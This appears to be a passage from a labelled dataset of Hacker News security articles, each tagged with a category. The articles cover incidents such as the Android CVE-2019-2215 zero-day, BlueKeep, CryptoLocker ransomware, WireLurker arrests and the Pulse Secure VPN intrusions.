The incident comes over a year after T-Mobile suffered a significant data breach that exposed names, email addresses, phone numbers, and account information for about 2 million customers.

",Data_Breaches
New 0-Day Flaw Affecting Most Android Phones Being Exploited in the Wild,https://thehackernews.com/2019/10/android-kernel-vulnerability.html,"Another day, another revelation of a critical unpatched zero-day vulnerability, this time in the world's most widely used mobile operating system, Android.

What's more? The Android zero-day vulnerability has also been found to be exploited in the wild by the Israeli surveillance vendor NSO Group—infamous for selling zero-day exploits to governments—or one of its customers, to gain control of their targets' Android devices.

Discovered by Project Zero researcher Maddie Stone, the details and a proof-of-concept exploit for the high-severity security vulnerability, tracked as CVE-2019-2215, has been made public today—just seven days after reporting it to the Android security team.

The zero-day is a use-after-free vulnerability in the Android kernel's binder driver that can allow a local privileged attacker or an app to escalate their privileges to gain root access to a vulnerable device and potentially take full remote control of the device.

Vulnerable Android Devices

The vulnerability resides in versions of Android kernel released before April last year, a patch for which was included in the 4.14 LTS Linux kernel released in December 2017 but was only incorporated in AOSP Android kernel versions 3.18, 4.4 and 4.9.

Therefore, most Android devices manufactured and sold by a majority of vendors with the unpatched kernel are still vulnerable to this vulnerability even after having the latest Android updates, including below-listed popular smartphone models :

Pixel 1
Pixel 1 XL
Pixel 2
Pixel 2 XL
Huawei P20
Xiaomi Redmi 5A
Xiaomi Redmi Note 5
Xiaomi A1
Oppo A3
Moto Z3
Oreo LG phones
Samsung S7
Samsung S8
Samsung S9

To be noted, Pixel 3, 3 XL, and 3a devices running the latest Android kernels are not vulnerable to the issue.

Android Flaw Can Be Exploited Remotely

According to the researcher, since the issue is ""accessible from inside the Chrome sandbox,"" the Android kernel zero-day vulnerability can also be exploited remotely by combining it with a separate Chrome rendering flaw.

""The bug is a local privilege escalation vulnerability that allows for a full compromise of a vulnerable device. If the exploit is delivered via the Web, it only needs to be paired with a renderer exploit, as this vulnerability is accessible through the sandbox,"" Stone says in the Chromium blog.

""I've attached a local exploit proof-of-concept to demonstrate how this bug can be used to gain arbitrary kernel read/write when running locally. It only requires the untrusted app code execution to exploit CVE-2019-2215. I've also attached a screenshot (success.png) of the POC running on a Pixel 2, running Android 10 with security patch level September 2019.""

Patches to be Made Available Soon

Though Google will release a patch for this vulnerability in its October's Android Security Bulletin in the coming days and also notified OEMs, most affected devices would not likely receive the patch immediately, unlike Google Pixel 1 and 2.



""This issue is rated as High severity on Android and by itself requires installation of a malicious application for potential exploitation. Any other vectors, such as via web browser, require chaining with an additional exploit,"" the Android security team said in a statement.

""We have notified Android partners, and the patch is available on the Android Common Kernel. Pixel 3 and 3a devices are not vulnerable while Pixel 1 and 2 devices will be receiving updates for this issue as part of the October update.""

Google's Project Zero division usually gives software developers a 90-day deadline to fix the issue in their affected products before going public with the details and PoC exploits, but in case of active exploits, the team goes public after seven days of privately being reported.

What's your take? Although this vulnerability is severe and can be used to gain root access to an Android device, users need not worry that much as the exploitation of such issues is mostly limited to targeted attack scenarios.

Nevertheless, it's always a good idea to avoid downloading and installing apps from third-party app stores and any unnecessary apps, even from the Google Play Store.
",Cyber_Attack
European Parliament Proposes Ban On Encryption Backdoors,https://thehackernews.com/2017/06/encryption-backdoor.html,"Prime Minister Theresa May wants tech companies, like Facebook, Apple, and Google, to create controversial 'backdoors' for police, but even somewhere she knows that it's not that easy as it sounds.

The Civil Liberties, Justice and Home Affairs Committee of the European Parliament has released a draft proposal [PDF] for new laws on privacy and electronic communications, recommending end-to-end (E2E) encryption on all communications and forbidding backdoors that offer access to law enforcement.
""The protection of confidentiality of communications is also an essential condition for the respect of other related fundamental rights and freedoms, such as the protection of freedom of thought, conscience and religion, and freedom of expression and information,"" the draft reads.

Draft Says, Your Security is Our Top Priority

According to the draft, EU citizens need more protection, not less and they need to know that the ""confidentiality and safety"" of their data is ""guaranteed,"" but software backdoors risk ""weakening"" that privacy.

What is backdoor? By definition, ""Backdoor is a feature or defect of a computer system that allows surreptitious unauthorized access to data.""

Many countries' government, including the US Defence Department, have forced major companies to provide backdoor access to their services, allowing the feds to intercept users' traffic and access everything from secure messages to their web activities.

But, ""Technically, there is no such backdoor that only the government can access. If surveillance tools can exploit the vulnerability by design, then an attacker who gained access to it would enjoy the same privilege.""

Draft Demands End-to-End Encryption & Ban On Backdoors

The proposed draft recommends the use of end-to-end encryption that would make it more difficult for federal officials to request data from tech companies.

The proposal would ban decryption of user data as well as the creation of backdoors in software or encryption technologies that could allow government access to users' private information.

So if the amendments pass, the ban on software backdoors would make it difficult for the government to enforce the Section 49 of the Regulation of Investigatory Powers Act (RIPA) 2000's requirement that companies remove ""electronic protection"" when possible.

For those unaware, end-to-end encryption is a secure communication that encrypts data on the sender's system before passing it to a company's server. The company then passes the encrypted data to the intended recipient, who is the only person who can decrypt it.

Nobody in between, be it an application service provider, an Internet service provider (ISP), hacker, or even law enforcement officials, can read or tamper with the data.
""When encryption of electronic communications data is used, decryption, reverse engineering or monitoring of such communications shall be prohibited,"" the draft reads.
""Member States shall not impose any obligations on electronic communications service providers that would result in the weakening of the security and encryption of their networks and services.""

Securing the 'Internet of Things'

Similarly, the draft also says, the current law have not kept pace with how the machine-to-machine communications in the Internet of Things can expose citizens.

The connected devices and machines are increasingly communicating with each other today by using electronic communications networks.

So, according to the committee, this Regulation should also be applied to the machine-to-machine communications in order to ""ensure full protection of the rights to privacy and confidentiality of communications, and to promote a trusted and secure Internet of Things in the digital single market.""

In short, the committee wants that any future means of communication, such as ""calls, internet access, instant messaging applications, email, internet phone calls and messaging provided through social media"" are all protected from hackers, government and prying eyes.

The committee wants that applications, browsers, internet service providers, cars, smartphones or fitness trackers should also respect no-track requests from their customers, and snoop their data only after getting users' consent.

However, it should be noted that most technology companies fall under the United States court of law, and post-Snowden era proves that as long as your countries' data is stored out of your boundaries, your policies and regulations would hardly make any difference.

",Data_Breaches
"Book Review: Hacking Point of Sale, In-Depth Study on Payment Applications",https://thehackernews.com/2014/05/book-review-hacking-point-of-sale-in.html,"Point-of-sale (POS) is the hottest topic in payment structures and its one of the most popular technology topics as well. A Point-of-sale (POS) machine is a computerized replacement for a cash register. It has ability to quickly process a customer's transaction, accurately keep the records, process credit and debit cards, connect to other systems in a network, and manage inventory.

A basic POS system would consist of a computer as its core part provided with application specific programs for the particular environment in which it will serve, along with a cash drawer, barcode scanner, receipt printer and the appropriate POS software. Point-of-sale (POS) terminals are used in most industries that have a point of sale such as a service desk, including restaurants, lodging, entertainment, and museums.

Due to the better track inventory and accuracy of records, the Point-of-sale (POS) machine is used worldwide and it can be easily set-up, depending on the nature of the business. But on the other hand, Point-of-sale (POS) systems are critical components in any retail environment and the users are not aware of the emerging threats it poses in near future.

Last week I read an excellent book entitled 'HACKING POINT OF SALE', written by Slava Gomzine, that summarizes, systemizes, and shares knowledge about payment application security.

In the Book, the author covers all the aspects of card payment processing from the security point of view that mainly depends on confidentiality, integrity, and availability.

In past few months, we have seen many massive data breaches targeting POS machines and the largest one is TARGET data breach occurred during the last Christmas holidays. The third-largest U.S. Retailer in which over 40 million Credit & Debit cards were stolen, used to pay for purchases at its 1500 stores nationwide in the U.S.

Not Target alone, multiple retailers including Neiman Marcus, Michaels Store were also targeted involving the heist of possibly 110 million Credit-Debit cards, and personal information.

Later, Target and other retailers confirmed that a malware was embedded in point-of-sale (POS) equipment at its checkout counters to collect secure data as the credit cards were swiped during transactions. That means the main theft resides in the company's POS system.

The Book 'Hacking Point of Sale: Payment Application Secrets, Threats, and Solutions' is all about the In-Depth technical information of attacks and vulnerabilities in Point-of-sale (POS) system, along with the extensive knowledge about the mitigation and protection measures.

THE BOOK WALKS THE READER THROUGH -
Technological overview of Electronic payment systems
POS applications architecture
Communication protocols
Attacks on Point-of-sale Systems
Step-by-step explanation of credit card fraud processes
POS payment application vulnerabilities and non-software attacks
Weak Encryption mechanisms and Poor key management
How to prevent attacks on payment applications using Cryptography
How to Protect the cardholders' sensitive information
How to protect the application itself by utilizing client and server certificates, digital signatures, and code obfuscation.
From a security perspective, the most critical risk lies in the payment process, because if the information that the customers hand over is captured somehow, the cyber criminals can use it to commit credit card frauds.

Also, many point-of-sale (POS) terminals are built using embedded versions of Microsoft Windows, which means that it is trivial for an attacker to create and develop malware that would run on a POS terminal.

Attackers can also steal the information by leveraging the weakness in the point-of-sale (POS) environment such as unprotected memory, unencrypted network transmission, poorly encrypted disk storage, card reader interface, or compromised pinpad device.

There are more than a billion active credit and debit card users in US alone, thus an active target for money motivated hackers. If we look at the figures, in 2011, POS terminals and payment card information was involved in almost 48% of security breaches which is more than any other data type breach.

Due to lack of concern and security measures, point-of-sale (POS) systems have become an attractive target for cybercriminals and to overcome the upcoming threats we should know its architecture, the areas of attacks and the defense measures.

Either you are a Developer, Security Architect , QA Analyst, Security Researcher or a Hacker, this book is really for you to grab the in-depth research of the point-of-sale (POS) systems, how it works, how it could be exploited, and what protection measures should be taken.

The Publisher 'Wiley' is offering a special 50% Discount on 'Hacking Point of Sale' book only for 'The Hacker News' readers, so get your copy today. Stay Tuned!

",Data_Breaches
"Nearly 1 Million Computers Still Vulnerable to ""Wormable"" BlueKeep RDP Flaw",https://thehackernews.com/2019/05/bluekeep-rdp-vulnerability.html,"Nearly 1 million Windows systems are still unpatched and have been found vulnerable to a recently disclosed critical, wormable, remote code execution vulnerability in the Windows Remote Desktop Protocol (RDP)—two weeks after Microsoft releases the security patch.

If exploited, the vulnerability could allow an attacker to easily cause havoc around the world, potentially much worse than what WannaCry and NotPetya like wormable attacks did in 2017.

Dubbed BlueKeep and tracked as CVE-2019-0708, the vulnerability affects Windows 2003, XP, Windows 7, Windows Server 2008 and 2008 R2 editions and could spread automatically on unprotected systems.

The vulnerability could allow an unauthenticated, remote attacker to execute arbitrary code and take control of a targeted computer just by sending specially crafted requests to the device's Remote Desktop Service (RDS) via the RDP—without requiring any interaction from a user.

Describing the BlueKeep vulnerability as being Wormable that could allow malware to propagate to vulnerable systems just like WannaCry, Microsoft released a security fix to address the vulnerability with its May 2019 Patch Tuesday updates.

However, the latest Internet scan performed by Robert Graham, head of offensive security research firm Errata Security, revealed that, unfortunately, roughly 950,000 publicly accessible machines on the Internet are vulnerable to the BlueKeep bug.

This clearly means that even after the security patch is out, not every user and organisation has deployed it to address the issue, posing a massive risk to individuals and organizations, including industrial and healthcare environments.

Graham used ""rdpscan,"" a quick scanning tool he built on top of his masscan port scanner that can scan the entire Internet for systems still vulnerable to the BlueKeep vulnerability, and found a whole 7 million systems that were listening on port 3389, of which around 1 million systems are still vulnerable.

""Hackers are likely to figure out a robust exploit in the next month or two and cause havoc with these machines,"" the researcher says.

""That means when the worm hits, it'll likely compromise those million devices. This will likely lead to an event as damaging as WannaCry, and notPetya from 2017 -- potentially worse, as hackers have since honed their skills exploiting these things for ransomware and other nastiness.""

The BlueKeep vulnerability has so much potential to wreak havoc worldwide that it forced Microsoft to release patches for not only the supported Windows versions but also Windows XP, Windows Vista and Windows Server 2003, which no longer receive mainstream support from the company but are still widely used.

Not just researchers, malicious hackers and cybercriminals have also started scanning the Internet for vulnerable Windows systems to target them with malware, GreyNoise Intelligence said.

""GreyNoise is observing sweeping tests for systems vulnerable to the RDP ""BlueKeep"" (CVE-2019-0708) vulnerability from several dozen hosts around the Internet. This activity has been observed from exclusively Tor exit nodes and is likely being executed by a single actor,"" the tweet says.

However, fortunately, so far no security researcher has yet publicly published any proof-of-concept exploit code for BlueKeep, though a few of them have confirmed to have successfully developed a working exploit.

Are you still waiting for me to tell you what you should do next? Go and fix the goddamn vulnerability if you are using one of them.

If fixing the flaw in your organisation is not possible anytime sooner, then you can take these mitigations:
Disable RDP services, if not required.
Block port 3389 using a firewall or make it accessible only over a private VPN.
Enable Network Level Authentication (NLA) – this is partial mitigation to prevent any unauthenticated attacker from exploiting this Wormable flaw.

",Vulnerability
Tor Browser 8.5.2 Released — Update to Fix Critical Firefox Vulnerability,https://thehackernews.com/2019/06/tor-browser-firefox-hack.html,"Important Update (21 June 2019) ➤ The Tor Project on Friday released second update (Tor Browser 8.5.3) for its privacy web-browser that patches the another Firefox zero-day vulnerability patched this week.

Following the latest critical update for Firefox, the Tor Project today released an updated version of its anonymity and privacy browser to patch the same Firefox vulnerability in its bundle.

Earlier this week, Mozilla released Firefox 67.0.3 and Firefox ESR 60.7.1 versions to patch a critical actively-exploited vulnerability (CVE-2019-11707) that could allow attackers to remotely take full control over systems running the vulnerable browser versions.

Besides updating Firefox, the latest Tor Browser 8.5.2 for desktops also includes updated NoScript version 10.6.3 that fixes a few known issues.

According to the Tor Project Team, if you are already using Tor browser with ""safer"" and ""safest"" security levels, the flaw doesn't affect you.

For some reason, the team hasn't yet released an updated Tor version for Android users, which should be available anytime soon in the next few days. However, Android users have been advised to switch on ""safer"" or ""safest"" security levels in order to mitigate the issue until a patched app becomes available.


""The security level on Android can be changed by going in the menu on the right of the URL bar and selecting Security Settings,"" Nicolas Vigier, the Lead Automation Engineer at Tor Project said.

The Google security researcher who discovered this flaw also revealed that it could be abused to launch universal cross-site scripting (UXSS) attacks as well, allowing malicious websites to bypass same-origin policy on the victim's web browser and steal sensitive information.

Since Tor is primarily being used by privacy-conscious users who can't afford to get compromised at any cost, it's highly recommended for them to install the latest version of the anonymity software immediately.
",Cyber_Attack
CryptoLocker Ransomware demands $300 or Two Bitcoins to decrypt your files,https://thehackernews.com/2013/10/cryptolocker-ransomware-demands-300-to.html,"If you're a daily computer user, you're likely aware of all the threats you face every day online in the form of viruses and malware.

CryptoLocker, a new ransomware malware, began making the rounds several months ago. This ransomware is particularly nasty because infected users are in danger of losing their personal files forever.
Ransomware is designed to extort money from computer users by holding computer files hostage until the computer user pays a ransom fee to get them back. The Cryptolocker hijacker sniffs out your personal files and wraps them with strong encryption before it demands money.
Cryptolocker is spread through malicious hyperlinks shared via social media and spam emails, like fake UPS tracking notification emails. The original demanded payments of $100 to decrypt files, but the new and improved version demanding $300 from victims.

Apparently, the encryption is created using a unique RSA-2048 public key. The decryption key is located on a secret server somewhere on the Internet and then there is a countdown on the infected machine which will let you know how long you have until this key will no longer be available.

Ransomware is not a new threat, but in the last year, it has become more effective and more popular with criminals. Researchers from a number of antivirus vendors are working on a way to undo the damage, but it's not going to be easy.

To prevent Ransomware from infecting your computer, please ensure that your computer has a properly configured firewall, updating each computer on a regular basis with the latest patches and updates from their vendor such as Microsoft, and restricting access solely to the administrator or person who operates the network or computer.

Update: Another Screenshot of the latest variant CryptoLocker illustrates that Ransomware accepts payment in Bitcoins also.
Once you send the payment of BTC2 (two Bitcoins, currently about $280), you will be shown a screen stating that your payment is being verified and the program will decrypt the files that it encrypted.

However, CryptoLocker is the first widely-reported instances where a ransomware program will actually go as far as permanently encrypting files on a host computer. Unfortunately at this time there is no way to retrieve the private key that can be used to decrypt your files.

This infection is typically spread through emails sent to company email addresses that pretend to be customer support related issues from Fedex, UPS, DHS, etc. These emails would contain a zip attachment that when opened would infect the computer. These zip files contain executable that are disguised as PDF files as they have a PDF icon and are typically named something like FORM_101513.exe or FORM_101513.pdf.exe. Since Microsoft does not show extensions by default, they look like normal PDF files and people open them.

If you do not have System Restore enabled on your computer or reliable backups, then you will need to pay the ransom in order to get your files back.

",Malware
Russian Hacker Who Allegedly Hacked LinkedIn and Dropbox Extradited to US,https://thehackernews.com/2018/03/linkedin-hacker-extradited.html,"A Russian man accused of hacking LinkedIn, Dropbox, and Formspring in 2012 and possibly compromising personal details of over 100 million users, has pleaded not guilty in a U.S. federal court after being extradited from the Czech Republic.

Yevgeniy Aleksandrovich Nikulin, 30, of Moscow was arrested in Prague on October 5, 2016, by Interpol agents working in collaboration with the FBI, but he was recently extradited to the United States from the Czech Republic on Thursday for his first appearance in federal court.

Nikulin's arrest started an extradition battle between the United States and Russia, where he faces significantly lesser criminal charges of stealing $3,450 via Webmoney in 2009. But the Czech Republic ruled in favor of the United States.

In the U.S., Nikulin is facing:
3 counts of computer intrusion
2 counts of intentional transmission of information, code, or command causing damage to a protected computer
2 counts of aggravated identity theft
1 count of trafficking in unauthorized access devices
1 count of conspiracy
According to the maximum penalties for each count, Nikulin faces a maximum of 32 years in prison and a massive fine of more than $1 Million.

The U.S. Justice Department accused Nikulin of allegedly hacking into computers belonging to three American social media firms, including LinkedIn, the online cloud storage platform Dropbox and now-defunct social-networking firm Formspring.

Nikulin reportedly gained access to LinkedIn's network between March 3 and March 4, 2012, Dropbox between May 14 and July 25, 2012, and Formspring between June 13 and June 29, 2012.

The hacker allegedly stole accounts of more than 117 Million LinkedIn users and more than 68 Million Dropbox users. Authorities also say that after stealing data from the three companies, Nikulin worked with unnamed co-conspirators to sell the stolen data.

Besides hacking into the three social media firms, the Justice Department also accused Nikulin of allegedly gaining access to credentials belonging to LinkedIn and Formspring employees, which helped him carry out the computer hacks.

Nikulin appeared in Federal District Court in San Francisco on Friday and pleaded not guilty to the charges against him, the New York times reported.

""This is deeply troubling behavior once again emanating from Russia,"" said Attorney General Jeff Sessions in a statement. ""We will not tolerate criminal cyber-attacks and will make it a priority to investigate and prosecute these crimes, regardless of the country where they originate.""

Judge Jacqueline Scott Corley scheduled Nikulin's next court appearance for status on April 2, 2018, and scheduled a detention hearing for April 4, 2018.

",Data_Breaches
Suspected Wirelurker iOS Malware Creators Arrested in China,https://thehackernews.com/2014/11/suspected-wirelurker-ios-malware.html,"It's been almost two weeks since the WireLurker malware existence was revealed for the first time, and Chinese authorities have arrested three suspects who are allegedly the authors of the Mac- and iOS-based malware that may have infected as many as hundreds of thousands of Apple users.

The Beijing Bureau of Public security has announced the arrest of three suspects charged with distributing the WireLurker malware through a popular Chinese third-party online app store. The authorities also say the website that was responsible for spreading the malware has also been shut down.

""WireLurker"" malware was originally discovered earlier this month by security firm Palo Alto Networks targeting Apple users in China. The malware appeared as the first malicious software program that has ability to penetrate the iPhone's strict software controls. The main concern to worry about this threat was its ability to attack non-jailbroken iOS devices.

Once a device infected with the malware, the virus could download the malicious and unapproved apps, which are designed to steal information, from the third-party app stores and, if it detects an iOS device connected through the USB slot, it would install the malicious apps on the device as well.
""This malware is under active development and its creator's ultimate goal is not yet clear,"" the researchers wrote in a report [PDF]. ""The ultimate goal of the WireLurker attacks is not completely clear. The functionality and infrastructure allows the attacker to collect significant amounts of information from a large number of Chinese iOS and Mac OS systems, but none of the information points to a specific motive. We believe WireLurker has not yet revealed its full functionality.""
Unlike most iPhone bug, WireLurker malware has ability to install even on non-jailbroken iOS devices because the malware authors have used enterprise certificates to sign the apps. Apple has since revoked these cryptographic certificates used to sign WireLurker, and blocked all the apps signed with it. Palo Alto estimated that hundreds of thousands of users installed the malicious apps.

China appears to have taken the threat very seriously and within two weeks arrested three individuals who are believed to be the creators of the malicious software.

Although, there is not much details available about the arrest as the Bureau has simply posted a short notification on its Sina Weibo, a Chinese micro blogging service.

But according to the Chinese authorities, the three suspects are identified as ""Chen,"" ""Lee"" and ""Wang,"" who are suspected of manufacturing and distributing the malicious program ""for illegal profit,"" and that the Chinese authorities have been helped in the investigation by researchers from Chinese AV company Qihoo 360.

",Malware
Half Million Chinese Android Devices got infected with SMSZombie,https://thehackernews.com/2012/08/half-million-chinese-android-devices.html,"The amount of malware crafted and aimed at Android devices is ever-increasing. With Android being the most popular platform for smartphones and tablets around the world, Android users have become the low-hanging fruit when it comes to writing malware by the nefarious users. A new Android threat has affected 500,000 devices in China so far.

Analysts at TrustGo Security Labs have discovered the Trojan!SMSZombie.A. It is a complex and sophisticated malware that exploits a vulnerability in the China Mobile SMS Payment System to fund unauthorised payments, steal bank card numbers and receipt information regarding money transfers. The trojan is difficult to detect, and even more difficult to remove.

SMSZombieA was first discovered on August 8, and the malware is embedded in several wallpaper apps. The wallpaper apps are noted to use provocative titles and nude images to encourage users to download. The trojan installs itself on a device after its user has downloaded and installed the app, making detection difficult. As a result, the wallpaper app is not flagged as malicious in the marketplace.

Further, the trojan can change the amount and timing of unauthorised charges; that way most times users don't know that they have been hacked. According to the information TrustGo Vice President of Engineering , the Trojan does not report back to a C&C server. In fact, the malware receives its orders from an ever-changing set of random phone numbers.

The malware can remotely control the infected device. It enables hackers to remotely control victims' mobile SMS payments system, allowing them to secretly authorize payments for amount and at any time. ""Our guess is that these malware developers have some connection with these premium services,"".

Researchers have found that by using a configuration file, which can be updated by the makers of the malware at any time, it is possible for the malware to intercept and forward text messages. As SMSes sometimes include banking information and other financial details, the malware can wreak further havoc in user accounts.

",Malware
"Samsung LoopPay Hacked, but 'Samsung Pay' is Safe",https://thehackernews.com/2015/10/Samsung-LoopPay-hack.html,"Samsung has been surrounded by a lot of controversies since the past few years, but that has not influenced its productivity.

But this report has raised a few eyebrows...

Samsung's mobile payment system company, LoopPay, was hacked back in March this year, just a month after Samsung bought it to help make Samsung Pay a reality.

Samsung acquired LoopPay for more than $250 Million in February this year, and a group of Chinese Hackers were able to access LoopPay computer systems in March.

The most worrisome part is – the hack was discovered 5 months later in August.

Hackers were After Technology; Not Money or Sensitive Data

The hackers, believed to be from a group called 'Codoso Group' or 'Sunshock Group,' were after the company's Magnetic Secure Transmission (MST) Technology.

The group injected LoopPay's computer network with a hidden sophisticated attack in March, but the investigation kicked off when LoopPay learned of the breach in late August.

During the investigation the two private forensics teams appointed by LoopPay discovered several facts about the Codoso Group which revealed:
The hackers broke into LoopPay's corporate network, but not the production system that helps manage payments.
It seems the hackers were after the MST technology, which is the key part of the Samsung Pay mobile payment system that made its public debut in the US last week.
So, there is less possibility of leaking user credentials online.

Samsung Pay and the MST Technology

Samsung Pay is a similar method of mobile payment which is earlier adopted by Apple (Apple Pay) and Google (Android Wallet), allowing consumers to pay for products using their smartphones with Near-Field Communications (NFC) technology.

While most tap-and-pay mobile wallets need a point-of-sale system with NFC capabilities, LoopPay's MST technology gives an advantage to Samsung Pay by:
Supporting older payment systems by emulating a commonly used magnetic stripe card.
With its reach on limited Samsung smartphones, MST works with 90% of legacy terminals in use by the United States retailers.

LoopPay Hacked! But Samsung Pay Not Affected

Samsung said that Samsung Pay was not affected by the LoopPay hack and that no user data was compromised.
In a statement, Samsung's chief privacy officer Darlene Cedres said, ""Samsung Pay was not impacted and at no point was any personal payment information at risk. This was an isolated incident that targeted the LoopPay corporate network, which is a physically separate network from Samsung Pay.""
Adding more to it, Will Graylin, LoopPay's chief executive and co-general manager of Samsung Pay told that they have not filed a lawsuit at present, but…

...if the Codoso Group would ever misuse the information against Samsung Pay or make a Copycat product, LoopPay could file a patent lawsuit.

Codoso Group creates Havoc when they arrive!

LoopPay is not their first victim; previously the Chinese Government-affiliated hacking group has launched attacks on Forbes.com in February and conquered security of many other entities.

In other cases, investigators and security experts have established the Modus Operandi of the Codoso Group, which reveal that the group plans their attack with an everlasting effect, as in they are famous for...

Planting hidden backdoors across victims' systems so that they continue to spread their virus long after the initial breach.

It is like the Codoso group spreads the infection across the systems and secure and separate their hideout.

However, the investigation is still going in this case. Further, the experts say that it takes a longer period to recover from such attacks.

",Data_Breaches
Bitcoins - Secured by NSA designed Encryption or Backdoored ?,https://thehackernews.com/2013/09/NSA-backdoor-bitcoin-encryption-sha256-snowden.html,"It's been nearly three months since Edward Snowden started telling the world about the National Security Agency's mass surveillance of global communications.

After the last week report that the National Security Agency has leveraged its cooperative relationships with specific industry partners to insert vulnerabilities into Internet security products.
Bitcoin, a virtual currency, a peer-to-peer electronic cash system, which is generated on a logarithmic scale by dedicated miners who run software that generate the complex hash codes which make up a Bitcoin.

The integrity of Bitcoin depends on a hash function called SHA-256, which was designed by the NSA and published by the National Institute for Standards and Technology (NIST).

Is it hard to believe that could the intelligence community have a secret exploit for Bitcoin? While there is no evidence yet to support the speculation.

""If you assume that the NSA did something to SHA-256, which no outside researcher has detected, what you get is the ability, with credible and detectable action, they would be able to forge transactions. The really scary thing is somebody finds a way to find collisions in SHA-256 really fast without brute-forcing it or using lots of hardware and then they take control of the network."" Cryptography researcher Matthew D. Green of Johns Hopkins University said.

Bitcoin has recently added in the watchlist of the New York Department of Financial Services, the California Department of Financial Institutions and U.S Government is asking all intelligence agencies for information on how it plans to deal with Bitcoin.

The NSA apparently possesses groundbreaking capabilities against encrypted voice and text communication and has invested billions of dollars since 2000 to make nearly everyone's secrets available for government consumption by cracking every encryption. But we don't know precisely how much, maybe including Bitcoin too?

Last month, we reported an Android security vulnerability which resulted in the theft of coins, because of Weak random number generators (RNGs) was implicated in Bitcoin. Is it possible that this vulnerability was known to be weak by the NSA, and that bitcoin thieves simply stumbled upon the security hole first?

""Bitcoin was the last thing on which I trusted blindly over the internet and If someday another Snowden will reveal that this really happens, I would just switch off my life from the Digital World."", Aman Srivastava, Bitcoin user of the Silk Road and other underground marketplaces.

Even today it's too early to come to conclusions about Bitcoin. Possibly it was designed from day one as a tool to help maintain control of the money supplies of the world.

Further, cryptographers at John Hopkins University are creating a another anonymous system called Zerocoin that would be a Inception like an alternative currency to the Bitcoin.

",Vulnerability
90000 web pages infected by mass iFrame attack,https://thehackernews.com/2011/07/90000-web-pages-infected-by-mass-iframe.html,"90000 web pages infected by mass iFrame attack
Security Experts Wayne Huang, Chris Hsiao, NightCola Lin discovered that more than 90000 web pages are infected by mass iFrame attack. There's been a mass scale injection ongoing recently, with the injected iframe pointing to willysy.com .
Just Try a simple Google Search to find out the facts.
Video Demonstration:

Researchers at Armorize said the injected scripts redirect users to malicious Web domains that is launching attacks targeting known vulnerabilities in Java, Adobe's PDF, Microsoft's Internet Explorer and other common platforms, according to the report by Armorize experts Wayne Huang, Chris Hsiao and NightCola Lin. The campaign is targeting online commerce sites, the researchers found.
Read more at Source.

",Vulnerability
Data Stealing Malware on Internal Computer of Japan Space Agency,https://thehackernews.com/2012/01/data-stealing-malware-on-internal.html,"Data Stealing Malware on Internal Computer of Japan Space Agency
Japan Aerospace Exploration Agency (JAXA) announce that their computer has been infected with a virus, leading to a possible leak of data on its H-II Transfer Vehicle (HTV) the craft popularly known as Konotori that hauls cargo for the International Space Station (ISS). JAXA still isn't sure how the virus got on the computer, or who put it there.

JAXA said the infection occurred on July 6 last year, when an employee in his 30s involved in the HTV's operation at the Tsukuba Space Center opened an e-mail attachment titled ""bonenkai"". An identical e-mail was also sent to several coworkers, but the employee accidentally opened the attachment as the sender had the same name as one of his friends. The space agency is working to minimize the damage and prevent further incursions.

JAXA is now conducting an investigation into the leak and is checking other computers for viruses, according to the press release. The agency said it would provide further details about the leaked information at an unspecified date.

",Malware
WARNING: Hackers Exploit Unpatched Pulse Secure 0-Day to Breach Organizations,https://thehackernews.com/2021/04/warning-hackers-exploit-unpatched-pulse.html,"If Pulse Connect Secure gateway is part of your organization network, you need to be aware of a newly discovered critical zero-day authentication bypass vulnerability (CVE-2021-22893) that is currently being exploited in the wild and for which there is no patch available yet.
At least two threat actors have been behind a series of intrusions targeting defense, government, and financial organizations in the U.S. and elsewhere by leveraging critical vulnerabilities in Pulse Secure VPN devices to circumvent multi-factor authentication protections and breach enterprise networks.
""A combination of prior vulnerabilities and a previously unknown vulnerability discovered in April 2021, CVE-2021-22893, are responsible for the initial infection vector,"" cybersecurity firm FireEye said on Tuesday, identifying 12 malware families associated with the exploitation of Pulse Secure VPN appliances.
The company is also tracking the activity under two threat clusters UNC2630 and UNC2717 (""UNC"" for Uncategorized) — the former linked to a break-in of U.S. Defense Industrial base (DIB) networks, while the latter was found targeting a European organization in March 2021 — with the investigation attributing UNC2630 to operatives working on behalf of the Chinese government, in addition to suggesting possible ties to another espionage actor APT5 based on ""strong similarities to historic intrusions dating back to 2014 and 2015.""
Attacks staged by UNC2630 are believed to have commenced as early as August 2020, before they expanded in October 2020, when UNC2717 began repurposing the same flaws to install custom malware on the networks of government agencies in Europe and the U.S. The incidents continued until March 2021, according to FireEye.
The list of malware families is as follows -
UNC2630 - SLOWPULSE, RADIALPULSE, THINBLOOD, ATRIUM, PACEMAKER, SLIGHTPULSE, and PULSECHECK
UNC2717 - HARDPULSE, QUIETPULSE, AND PULSEJUMP
Two additional malware strains, STEADYPULSE and LOCKPICK, deployed during the intrusions have not been linked to a specific group, citing lack of evidence.
By exploiting multiple Pulse Secure VPN weaknesses (CVE-2019-11510, CVE-2020-8260, CVE-2020-8243, and CVE-2021-22893), UNC2630 is said to have harvested login credentials, using them to move laterally into the affected environments. In order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts to enable arbitrary command execution and inject web shells capable of carrying out file operations and running malicious code.
Ivanti, the company behind the Pulse Secure VPN, has released temporary mitigations to address the arbitrary file execution vulnerability (CVE-2021-22893, CVSS score: 10), while a fix for the issue is expected to be in place by early May. The Utah-based company acknowledged that the new flaw impacted a ""very limited number of customers,"" adding it has released a Pulse Connect Secure Integrity Tool for customers to check for signs of compromise.
Pulse Secure customers are recommended to upgrade to PCS Server version 9.1R.11.4 when it becomes available.
News of compromises affecting government agencies, critical infrastructure entities, and other private sector organizations comes a week after the U.S. government released an advisory, warning businesses of active exploitation of five publicly known vulnerabilities by the Russian Foreign Intelligence Service (SVR), including CVE-2019-11510, to gain initial footholds into victim devices and networks.

",Cyber_Attack
Spam Tweets 'US Government Trying to Shut Down Bitcoin' Spreading Malware,https://thehackernews.com/2014/05/spam-tweets-us-government-trying-to.html,"The Security Software company Malwarebytes has discovered a malicious scam spreading through rogue tweets by a number of fake Twitter accounts with a link to a story that says the United States Government is trying to ban cryptocurrency Bitcoin.

""The majority of the accounts pushing these things are clearly fake, using gathered Twitter handles to launch the barrage of malicious spam at the Twitterverse,"" wrote Adam Kujawa of Malwarebytes in a blog post on Thursday.

In most cases, cybercriminals use to spread the malicious software via an email, but distribution of malware through social media is relatively new tantrum of cyber criminals, as more people are fond of social media platforms now a days.

Adam discovered the scam and according to him the worst part of this new Twitter scam is that even without realizing the impact of this fake news, other Twitter users are retweeting from their accounts, making the malware scam more worse.

